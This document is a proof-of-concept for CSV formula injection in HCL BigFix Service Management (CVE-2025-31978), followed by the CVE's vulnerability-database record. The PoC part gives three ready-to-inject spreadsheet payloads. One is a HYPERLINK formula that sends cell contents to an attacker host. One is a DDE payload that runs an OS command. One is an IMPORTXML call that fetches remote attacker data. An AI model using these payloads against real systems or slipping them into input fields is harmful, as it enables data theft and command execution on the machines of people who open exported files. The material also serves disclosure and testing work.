CVE-2025-31978

# PoC for CSV Injection in HCL BigFix SM # Inject the following payload into a vulnerable input field (e.g., username, ticket description) # Payload 1: Information Exfiltration (Exfiltrates cell A1 content) payload_info = "=HYPERLINK(\"http://attacker-server.com/steal.php?data=\"&A1,\"Click Here\")" # Payload 2: OS Command Execution (Legacy Excel, DDE) payload_cmd = "=cmd|' /C calc'!A0" # Payload 3: Importing remote data payload_import = "=IMPORTXML(\"http://attacker-server.com/malicious.xml\", \"//item\")" # Explanation: # When the application exports this data to a CSV file and a user opens it in Excel, # Excel interprets the string starting with '=' as a formula. # If the user accepts the security prompt, the formula executes.

{"cve": {"id": "CVE-2025-31978", "sourceIdentifier": "[email protected]", "published": "2026-05-06T15:16:06.207", "lastModified": "2026-05-07T16:26:10.870", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix Service Management (SM) does not adequately sanitize or safely render spreadsheet files (CSV, XLS, XLSX) before processing or distributing them. An attacker could populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software. Note that current versions of Excel warn users of untrusted content."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_service_management:23.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D915AC1-7C2B-497D-9A77-9726954B2282"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0128144", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}